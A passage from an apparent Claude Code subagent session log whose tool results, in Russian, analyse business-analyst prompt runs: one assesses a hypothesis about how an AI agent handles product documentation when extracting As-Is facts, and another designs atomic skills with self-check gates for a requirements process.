\u043a\u0430\u043a\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue: \u00ab\u041e\u0411\u042f\u0417\u0410\u0422\u0415\u041b\u042c\u041d\u041e \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0446\u0438\u0442\u0430\u0442\u044b\u00bb).\\n\\n### \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 1 \u2014 \u00ab\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438; \u043d\u0443\u0436\u0435\u043d \u044f\u0432\u043d\u044b\u0439 \u0448\u0430\u0433 \u0437\u0430\u043f\u0440\u043e\u0441\u0430/\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u0437 \u0411\u0417\u00bb\\n\\n**\u0426\u0438\u0442\u0430\u0442\u0430 \u0411\u0410 (\u0440\u0430\u0437\u0434\u0435\u043b 1.4):**\\n> \u00ab(\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430) \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u044f\u0432\u043d\u044b\u0439 \u0448\u0430\u0433 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0443 (\u0441\u0441\u044b\u043b\u043e\u043a,\\n> \u0434\u043e\u043a\u043e\u0432, \u0434\u0440.); \u0446\u0435\u043b\u044c \u2014 \u0434\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0440\u0438\u0441\u043a\u0430 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\\n> \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u0438\u043d\u0430\u0447\u0435 \u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\\n> \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0412\u0435\u0440\u0434\u0438\u043a\u0442: \u041f\u041e\u0414\u0422\u0412\u0415\u0420\u0414\u0418\u0422\u042c \u0427\u0410\u0421\u0422\u0418\u0427\u041d\u041e** (\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u044f\u0432\u043d\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0438 \u044f\u0432\u043d\u043e\u0433\u043e\\n\u043f\u0440\u0430\u0432\u0438\u043b\u0430-\u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f; \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c \u0442\u0435\u0437\u0438\u0441, \u0447\u0442\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0435\u0442).\\n\\n**\u0427\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0430.** \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0432\\n`glossary-context-understanding-stepwise.md` **\u0443\u0436\u0435 \u0435\u0441\u0442\u044c** \u0438 \u0432 \u0441\u0435\u0441\u0441\u0438\u0438 1027\\n**\u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0448\u0442\u0430\u0442\u043d\u043e**. \u041a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c PDF-\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e,\\n\u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u0441\u0442\u0430\u043b \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0422\u0417 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443, \u0430 \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442\u044b As-Is:\\n\\n> \u00ab\u042f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u044e \u0435\u0433\u043e \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439:\\n> \u0418\u0437\u0432\u043b\u0435\u043a\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435 \u0444\u0430\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u043c\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n> \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 (As-Is). \u2026 \u041f\u043e\u043a\u0430\u0436\u0443 \u0432\u0430\u043c \u044d\u0442\u0443 \u0432\u044b\u0436\u0438\u043c\u043a\u0443 \u0434\u043b\u044f \u0441\u0432\u0435\u0440\u043a\u0438\u00bb (\u0440\u0430\u0437\u0434\u0435\u043b 1.1).\\n\\n\u0418 \u0434\u0430\u043b\u0435\u0435, \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 13.7 \u041c\u0411 PDF, \u0430\u0433\u0435\u043d\u0442 \u0438\u0437\u0432\u043b\u0451\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0444\u0430\u043a\u0442\u044b As-Is \u0441 \u044f\u0432\u043d\u044b\u043c\u0438\\n\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u043f\u0443\u043d\u043a\u0442\u044b \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 (\u043f. 4.3.5, 7.4.2, 4.3.2) \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435. \u0422\u043e \u0435\u0441\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u00ab\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\\n\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\u00bb \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 **\u043d\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0441\u044f** \u2014 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439 \u00ab\u043f\u043e\\n\u0448\u0443\u043c\u0443\u00bb \u043d\u0435 \u0431\u044b\u043b\u043e. \u0412 \u044d\u0442\u043e\u043c \u0441\u043c\u044b\u0441\u043b\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u0432 \u0435\u0451 \u0436\u0451\u0441\u0442\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c.\\n\\n**\u041d\u043e \u0440\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u0435\u0440\u043d\u043e \u0435\u0441\u0442\u044c, \u0438 \u043e\u043d\u043e \u0432\u0430\u0436\u043d\u043e.** \u0422\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043f\u043e\u0441\u043b\u0443\u0436\u0438\u043b **\u0441\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c**, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b PDF:\\n\\n> \u00ab\u041c\u043e\u0433\u0443 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043f\u043e \u041a\u0426 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u0438\u0437 \u0411\u0417,\\n> \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043d\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f AsIs. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c pdf \u0444\u0430\u0439\u043b \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430?\u00bb\\n> (\u0440\u0430\u0437\u0434\u0435\u043b 1.1).\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u0428\u0430\u0433 0 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u00ab\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438\\n(As-Is): \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435, PDF, \u0441\u0441\u044b\u043b\u043a\u0438\u00bb, \u043d\u043e:\\n\\n- \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u044f\u0432\u043d\u043e **\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0443 / \u0431\u0430\u0437\u0443 \u0437\u043d\u0430\u043d\u0438\u0439 (\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430,\\n  \u0440\u0435\u0433\u043b\u0430\u043c\u0435\u043d\u0442\u044b)** \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439, \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430;\\n- \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0436\u0451\u0441\u0442\u043a\u043e \u0440\u043e\u043b\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u043e\u043d \u2014 **\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438\\n  \u0444\u0430\u043a\u0442\u043e\u0432 As-Is**, \u0430 \u043d\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u043e\u0443\u043f\u0430/\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n\u0415\u0441\u043b\u0438 \u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c PDF, \u0430\u0433\u0435\u043d\u0442 \u0431\u044b \u0435\u0433\u043e \u0438 \u043d\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043b.\",\n[2026-09-29T07:46:25.912Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:25.912Z] [INFO]       }\n[2026-09-29T07:46:25.912Z] [INFO]     ]\n[2026-09-29T07:46:25.912Z] [INFO]   },\n[2026-09-29T07:46:25.912Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"uuid\": \"d8ab0dc8-9e26-4a62-abdd-cdd386cb00f6\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:25.906Z\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:25.912Z] [INFO] }\n[2026-09-29T07:46:25.946Z] [STDOUT] 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\"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:27.899Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:27.908Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2050\",\n[2026-09-29T07:46:27.911Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:27.914Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:27.917Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:27.925Z] [STDOUT]     \"x-client-request-id\": \"9339a287-7fe0-4343-9ea5-abb3058e8d59\",\n[2026-09-29T07:46:27.931Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:27.935Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:27.941Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:27.946Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:27.954Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:27.962Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:27.964Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:27.966Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:27.972Z] [STDOUT]   },\n[2026-09-29T07:46:27.975Z] [STDOUT] }\n[2026-09-29T07:46:28.131Z] [INFO] {\n[2026-09-29T07:46:28.131Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"message\": {\n[2026-09-29T07:46:28.131Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:28.131Z] [INFO]     \"content\": [\n[2026-09-29T07:46:28.131Z] [INFO]       {\n[2026-09-29T07:46:28.131Z] [INFO]         \"tool_use_id\": \"toolu_012XzcakCbwhC3WWH1TuVwXn\",\n[2026-09-29T07:46:28.131Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:28.131Z] [INFO]         \"content\": \"> \u0424\u0430\u0439\u043b \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0424\u0422-3 issue #557: \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n> (Skills) \u0441 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Claude Code / GigaCode, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\\n> \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u0432\u044b\u043a\u0430 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c.\\n>\\n> **\u0421\u0441\u044b\u043b\u043a\u0438.** \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 (\u041d\u0424\u0422-2). \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b **\u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u043c\u043e\u0434\u0443\u043b\u044f**\\n> \u0434\u0430\u043d\u044b \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438: \u043f\u0440\u0430\u0432\u0438\u043b\u043e `P2` Reference Research Pattern \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n> \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0435\u0451 \u043c\u0430\u0448\u0438\u043d\u043d\u043e.\\n> \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438: [`10-theory.md`](10-theory.md) \u2014 \u0434\u0432\u0443\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0430\u043c\u043a\u0430 \u0438\\n> \u0442\u0435\u043e\u0440\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432, [`20-taxonomy.md`](20-taxonomy.md) \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\\n> \u0441\u0440\u0435\u0434, [`30-decision-framework.md`](30-decision-framework.md) \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n> `GATE-1`\u2026`GATE-6` \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f.\\n\\n## 1. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u041a\u0435\u0439\u0441\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n[`mango_ba_prompts/runs/`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n(67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`), \u0430 \u043d\u0435 \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\\n\u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430, \u0437\u0430\u0434\u0430\u044e\u0449\u0435\u0435 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043b\u0438\u043d\u0438\u044e:\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u041d\u043e\u0440\u043c\u0430, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0438\u0434\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430,\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f, \u2014 \u043c\u043e\u0434\u0435\u043b\u044c\u044e. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0451\\n\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u0430 \u043d\u0435 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0439. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\\n\u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b \u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e `\u041a` ([`10-theory.md`](10-theory.md), \u00a75): \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435\\n\u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 URL \u0432 \u0441\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u2014 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u0444\u0430\u043a\u0442\u043e\u043c\\n\u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n**\u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442.** \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u0430 `G-13`: \u043c\u0435\u0436\u0434\u0443 \u00ab\u0435\u0441\u0442\u044c\\n\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u00bb \u0438 \u00ab\u0435\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 \u043d\u0430\u0432\u044b\u043a \u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c\u00bb \u043b\u0435\u0436\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e\\n\u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0430 \u043d\u0435 \u0431\u044b\u043b\u0430 \u043d\u0438\u0447\u044c\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439. \u0417\u0430\u0434\u0430\u0447\u0438 `B-126` \u0438\\n`B-128` \u043a\u0430\u0441\u043a\u0430\u0434\u0430 \u0434\u0435\u043b\u0430\u044e\u0442 \u0435\u0451 \u044f\u0432\u043d\u043e\u0439.\\n\\n## 5. \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 BCREQ \u043d\u0430 \u043d\u0430\u0432\u044b\u043a\u0438\\n\\n\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 `H-4`: \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 `\u041f1`\u2013`\u041f6`\\n[`bcreq-process-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/bcreq-process-standard.md)\\n\u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u043e\u0441\u0435\u043c\u044c \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043d\u0430\u0432\u044b\u043a\u043e\u0432. \u041d\u043e\u0441\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0432\u044b\u043a\u0430 \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\\n(\u043f\u0440\u0430\u0432\u0438\u043b\u043e `M-1` \u0432 [`20-taxonomy.md`](20-taxonomy.md)), \u0430 \u043d\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441.\\n\\n| \u041d\u0430\u0432\u044b\u043a | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | \u0412\u044b\u0445\u043e\u0434 | \u0413\u0435\u0439\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- | --- | --- |\\n| `context-intake` | `ingestion` | `\u041f1` | \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441 \u043f\u0435\u0440\u0435\u0447\u043d\u0435\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 | `G-self` \u0444\u043e\u0440\u043c\u0430 + `G-mach` \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 |\\n| `delta-baseline` | `understanding` | `\u041f1`/`\u041f2` | \u041c\u0430\u0442\u0440\u0438\u0446\u0430 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430` (\u043a\u0435\u0439\u0441 `C-2`) | `G-mach` fail-closed \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 |\\n| `bcreq-decompose` | `understanding` | `\u041f2` | \u0414\u0435\u0440\u0435\u0432\u043e BCREQ \u0441 dotted-\u043d\u043e\u0442\u0430\u0446\u0438\u0435\u0439 | **`G-human` `G1`**: 